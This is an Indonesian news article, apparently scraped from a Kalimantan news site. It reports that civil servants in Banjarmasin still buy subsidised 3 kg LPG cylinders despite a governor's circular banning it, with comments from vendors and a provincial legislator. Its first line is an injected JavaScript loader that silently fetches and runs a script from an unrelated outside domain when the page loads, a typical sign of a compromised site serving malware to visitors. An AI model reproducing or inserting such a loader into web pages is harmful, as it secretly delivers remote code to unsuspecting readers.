(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Meski suda ada surat edaran Gubernur No 510/01594/SARPRASKODA tentang Penggunaan LPG tabung 3 Kg yang melarang ASN menggunakan produk khusus buat rakyat kecil itu, fakta di lapangan masih banyak ditemui pelanggaran. Tak terhitung Hiswana Migas menerima informasi dari para agen, ihwal laporan para ASN (Aparatur Sipil Negara) yang membeli tabung gas elpiji 3 kg.
Tentu saja, ASN ini tidak serta merta membeli tabung gas dengan menggunakan baju PDH. Namun, berdasarkan kesaksian agen penjual, biasanya ASN ini menyuruh anggota keluarga mereka yang bukan ASN untuk membeli.
“Iya kita kan sudah jualan lama. Kita juga kenal dengan anggota komplek sekitar sini mana yang ASN mana yang bukan. Kita sebagai penjual juga ga bisa apa-apa,” cerita Mahdi, salah satu penjual gas di kawasan Belitung Darat, Banjarmasin.
Berbeda dengan para pengecer, mereka tidak memedulikan siapa yang membeli gas LPG di tempat mereka. Bahkan harga pun mereka naikkan sesuka hati. Asih, salah satu pengecer di kawasan Malkon Temon mengaku tidak terlalu mengurusi, toh regulasi yang ada pun tidak terlalu kuat, ungkapnya.
Ketua Komisi II DRPD Kalsel, Suwardi Sarlan mengatakan, perkara ini sudah beberapa kali dibahas oleh pihaknya bersama dengan mitra komisi, Hiswana Migas, Pertamina, bahkan pihak kepolisian. “Memang yang paling penting, regulasi ini harus diawasi dengan baik. Kemudian juga sistem distribusi harus tertutup (by name by adress), dan dan pengawasan intensif dari pihak berwenang,” terang anggota fraksi PPP ini.
Namun, apa mau dikata, regulasi ini nampak hanya sebatas tulisan dan tidak berjalan dengan baik. Apalagi jika melihat fakta di lapangan di mana si melon kecil ini dibeli oleh pihak-pihak yang tidak seharusnya diperuntukkan bagi mereka.
30 Oktober 2017 lalu, di laman web Dinas Energi dan Sumber Daya Mineral pepmprov Kalsel, Gubernur Kalimantan Selatan, Sabirin Noor mengeluarkan Surat Edaran mengenai Penggunaan LPG 3 Kg tepat sasaran dan sesuai peruntukan.
Surat edaran tersebut bertujuan untuk menghimbau kepada ASN provinsi Kalsel, para pelaku usaha selain usaha mikro dengan kekayaan bersih lebih dari Rp 50.00.000 (lima puluh juta rupiah) tidak termasuk tanah, dan bangunan tempat usaha atau memiliki hasil penjualan tahunan lebih dari Rp 300.000.000 (tiga ratus juta rupiah), serta seluruh masyarakat di wilayah provinsi Kalsel yang mempunyai penghasilan lebih dari Rp 1.500.000 (satu juta lima ratus ribu rupiah) per bulan dan tidak memiliki surat keterangan tidak mampu dari kelurahan/desa setempat untuk tidak menggunakan LPG 3 Kg dan beralih menggunakan LPG tabung selain ukuran 3 Kg.(mario)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More
KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More
KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More
This website uses cookies.